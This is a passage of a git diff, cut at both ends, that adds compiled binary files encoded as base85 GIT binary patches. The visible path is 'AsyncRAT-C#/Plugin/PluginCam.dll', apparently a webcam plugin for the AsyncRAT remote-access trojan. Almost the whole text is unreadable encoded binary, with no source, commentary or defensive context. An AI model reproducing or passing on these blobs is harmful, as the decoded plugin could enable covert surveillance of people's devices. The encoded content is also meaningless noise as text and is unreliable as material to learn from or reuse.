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 Aw*UYD literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Plugin/PluginCam.dll b/AsyncRAT-C#/Plugin/PluginCam.dll new file mode 100644 index 0000000000000000000000000000000000000000..a0fbf75c2a3e9229b07c71873e78b9c8e1cbb46f GIT binary patch literal 55808 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 